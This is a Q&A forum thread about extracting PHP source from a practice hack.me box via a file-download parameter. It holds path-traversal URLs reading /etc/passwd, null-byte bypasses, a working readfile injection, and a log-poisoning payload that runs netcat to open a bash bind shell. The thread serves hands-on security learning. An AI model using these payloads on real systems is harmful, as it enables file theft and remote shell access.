0

hello all I am using a sandbox to start practicing security measures.

I get given a URL which calls a filename using the url (/download.php?file=files/read_me.txt) ... I know its possible to get the source for the download.php but I am struggling to do so. I have tried the basics (../download.php etc etc) but I cant get the source. I think it blocks the PHP extension from being used but wouldnt know how to get around that. any ideas?

Improve this question
  • PHP is a server side language. Any source you are getting is the output for client side rendering. You can only get the source if the server is miss-configured or a vulnerability exists that would allow an attacker to do so. But the methods of such a vulnerability are too broad to list here as it would vary on what script they are running. – Bacon Brad Sep 28 '15 at 15:15
  • I am actually a php developer, but i am practicing my pen testing, I can stop attacks but I cannot do them I feel like being able to do them will give me better understanding... this is a hack.me box – TheHidden Sep 29 '15 at 8:39
4

Provide more details on what you've tried. How high up on the directory tree can you go. Assuming that you're using Linux what is the response when you access the following URLs:

/download.php?file=files/../../../../../../../../etc/passwd
/download.php?file=files/../../../../../../../../etc/passwd%00
/download.php?file=../../../../../../../../etc/passwd
/download.php?file=files/../download.php%00
/download.php?file=files/../download.php.txt%00
/download.php?file=files/../download.php.html%00
/download.php?file=files/../download.php.jpg%00
/download.php?file=files/../download%00

The following filters may be in place:

  • File path validation that restricts all requests to a given directory
  • Directory traversal prevention; filters that restrict requesting files from other, higher, directories other than the web root directory("/")
  • File extension filters that prevent requesting a file with a certain extension(i.e. .php, .java, .aspx), usually files that handle server side logic

In the URLs above, possible server side trailing characters are removed using the null byte(%00) so that no characters are considered beyond the URL. For example the file path retrieved for the following two URLs is the same to the server side code:

/download.php?file=files/read_me.txt%00
/download.php?file=files/read_me.txt%00<some_string>

give the path:

files/read_me.txt

Note that the server may concatenate a string that represents an extension to the requested file.

Adding an extra extension to the file may trick the filters into thinking that you are requesting a file with a valid extension. Usually static file extensions are accepted: .html, .css, .jpg(most image formats), .js and s.o..

Note that for the request to succeed the file path must be valid.

Depending on how download.php is written there may also be a possibility of a LFI attack. If the file parameter is not sanitized and used to include another page as bellow:

<?php
   $file = $_GET['file'];
   if(isset($file))
   {
       include("pages/$file");
   }
   else
   {
       include("index.php");
   }

?>

php code can be executed upon inclusion of the respective file. A common means is by using the server's log files to inject malicious code by placing the code inside the body of the request. For example by making the following request:

/index.php?blah=<?php shell_exec('nc -l -p 10101 -e /bin/bash'); ?>

a back door is set up on the server on port 10101 if the log file is included by a php script similar to the one above. For example, by making the following request:

download.php?file=../../../../../../../var/log/apache2/access.log%00

netcat opens a connection in listening mode on port 10101. Nowadays, most hosting providers disable php's command executing functions.

Improve this answer
  • I am trying a few of your suggestions though this is actually just a hack.me box (doing practising to better my self as a php developer) I tried all the basics already like you suggested but I just cannot seem to break through.. I have already worked out it uses readfile (i smashed it untill it threw me an error I could use) readfile(files/../read_me.txt) so I know it uses this function. I shouldnt need any fancy tools to get through it. – TheHidden Sep 29 '15 at 8:33
  • Do you have the code download.php? What set-up are you using? OS and server? Can you read files with a different extension than .txt located in the same directory(files/../)? Can you post the URL to the hack.me drive? – Sebi Sep 29 '15 at 8:39
  • 1
    OMG I DID IT /download.php?file=files/read_me.txt%27);readfile(%27download.php – TheHidden Sep 29 '15 at 8:44
  • 1
    hack.me/102100/restrictions-bypass-php.html – TheHidden Sep 29 '15 at 8:46
1

You cannot get the source of .php files like you can do for .html files because .php files are executed on the server, and only the result is sent to the client. The source remains on the server and does not leave it in normal circumstances. That means, when you navigate to a .php file, you do not open/download it, but you just tell the server to execute it.

Although I do not have the full context of your example, I suppose you have to trick the download function of that particular web application to send you the download.php file insetead of the read_me.txt file. One way you could accomplish it is by using a path traversal attack.

Improve this answer
  • yes the point of this excersise is to trick the server into giving me the source, that is step one. – TheHidden Sep 29 '15 at 8:27
0

Going along with Sebi's answer, you could look into using a file traversal script. Metasploit's framework can implement Rapid7s kit that does this pretty well. Playing around with this and other tools from Rapid7 will give you some good experience with web pen testing.

Alternatively, you could do a port scan for other vulnerabilities such as a weak FTP password.

Additionally, there may be a poorly configured anonymous FTP setup that you can exploit as well.

Web pen testing with kali is a great start btw...

Improve this answer
  • yea I use kali alot for wifi hacking, though the tools for web hacking i find confusing. – TheHidden Sep 29 '15 at 8:34

Not the answer you're looking for? Browse other questions tagged or ask your own question.